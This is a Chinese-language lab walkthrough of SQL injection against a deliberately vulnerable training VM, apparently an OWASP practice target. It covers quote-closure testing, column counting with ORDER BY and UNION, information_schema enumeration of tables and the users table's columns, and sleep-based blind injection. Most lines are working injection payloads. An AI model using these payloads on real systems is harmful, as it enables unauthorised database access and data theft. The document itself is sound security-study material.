SQL Injection
環境
虛擬機器 :VMFusion 11.5.0 專業版
使用VMFusion載入OAWAS靶機虛擬機器檔案。
low難度
判斷是否存在注入點,主要分為顯示(報錯)注入和延時注入(盲注)。
輸入引數1
,頁面正常有回顯位,輸入的內容在url中可見,說明是get型別傳參,引數是id
檢視閉合方式
1 and 1=2 不報錯,正常顯示,不是整型閉合。
1' and 1=2 報錯 說明'語法錯誤
1' and 1=2 -- 頁面不顯示內容,但是沒有法語錯誤。可以得到閉合方式為'
報錯注入 頁面返回錯誤資訊
檢視欄位數
方法一:聯合查詢方式 select 使用數字代替欄位迴圈判斷直至不報錯(mysql 5.0一下不支援)
1' union select 1 --
1' union select 1 ,2 --
方法二:使用order by 識別 與union相似
1' order by 3 --
1' order by 2 --
得到欄位數為:2
查詢庫、表、欄位相關資訊。資料庫版本version(),當前使用者user() ,當前資料庫database()
1' union select user(),concat(version(),' ',database())--
查詢當前資料庫的所有表;
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --
查詢users表中的所有欄位;
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' --
medium
檢視閉合方式
嘗試單引號閉合
1' and 1=2 --
發現單引號被轉義 ,整型閉合方式
知道了閉合方式後,其餘步驟與low的一樣。
盲注
在判斷注入的時候加入and sleep(5) -- ' 語句
判斷欄位 select 疊加數字
1' union select 1 and sleep(5) -- ' 不顯示網頁載入狀態
1' union select 1,2 and sleep(5) -- ' 顯示網頁載入狀態 ,即可知道欄位數為2個。
Extras
https://websec.ca/kb/sql_injection